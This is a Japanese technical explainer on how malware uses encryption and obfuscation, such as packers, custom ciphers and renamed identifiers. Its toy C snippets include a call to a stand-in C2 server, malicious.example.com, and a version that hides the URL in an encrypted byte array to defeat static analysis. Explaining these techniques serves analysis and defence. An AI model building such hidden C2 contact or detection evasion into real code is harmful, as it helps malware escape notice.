技術的解説
技術的解説の詳細情報
暗号化と難読化
技術的解説_説明文章
概要
暗号化と難読化のそれぞれについて、以下に概要を記載する。
まず、暗号化とは、データの内容を第三者に読み取られないように、情報を一定のアルゴリズムに基づいて変換する技術である。
暗号化された情報は、正当な鍵(暗号鍵)を持たない限り、元の情報を復元することは困難である。
次に、難読化とは、プログラムの意味や構造を意図的に分かりにくくすることで、解析・理解・改変を困難にする技術である。
これらの技術はいずれも、不正コードの隠蔽や検知回避を目的に悪用される場合がある。
具体的な手法
暗号化と難読化のそれぞれの具体的な手法について、以下に記載する。
まず、暗号化の主な手法として以下が挙げられる。
* パッカーを用いた暗号化
- パッカーは、実行可能ファイル(特にマルウェア)を暗号化するツールを指しており、このようなツールを用いた暗号化手法
* 独自暗号による暗号化
- 攻撃者が独自に考案した暗号アルゴリズムを用いた暗号化手法
- (例)
- 暗号化前のプログラムコード
c
// 不正通信先が平文で記述されている
char* c2_url = "http://malicious.example.com/api";
connect_to_server(c2_url);
- 上記の場合、実装箇所において平文で記載されている文字列を抽出するだけで不正通信先が容易に判明する。
- 暗号化後のプログラムコード
```c
// C2 サーバの URL が暗号化されて埋め込まれている
unsigned char enc_data[] = {
0x8f, 0x2a, 0x91, 0xd3, 0x77, 0x4c, 0x1b
};
char* decrypt(unsigned char* data, int len, char* key);
void malicious_function() {
char key[] = "dfnxhDyfw";
char* c2_url = decrypt(enc_data, sizeof(enc_data), key);
connect_to_server(c2_url);
}
```
- 上記の場合、実装内に意味不明なバイト列のみが存在しており、実行時にのみ復号されるため静的解析が困難となっている。
次に、難読化の主な手法として、以下が挙げられる。
* ソースコード難読化
- 変数名・関数名の変更や無意味なコードの挿入、文字列のエンコードといった、プログラムのコードそのものを理解しづらくする手法
- (例)
- 難読化前のプログラムコード
c
if (userRole == "admin") {
grantAdminAccess();
}
- 上記の場合、実装内容から「ユーザのロールがadminの場合に、管理者権限を付与する」という意図が容易に推測できる。
- 難読化後のプログラムコード
c
if (a1 == "admin") {
f9();
}
- 上記の場合、実装中の変数名や関数名、文字列リテラルが意味を持たず、ロジックが理解しづらいため、意図を容易に推測できない。
* バイナリ難読化
- プログラムの動作に影響を与えない範囲で命令の順序入れ替えやジャンプ命令・ダミーコードの挿入といったコンパイル後のバイナリコードを難読化する手法
* データ難読化
- 特定の形式でデータをエンコード(Base64など)したり圧縮(ZIPなど)して、データそのものを複雑化する手法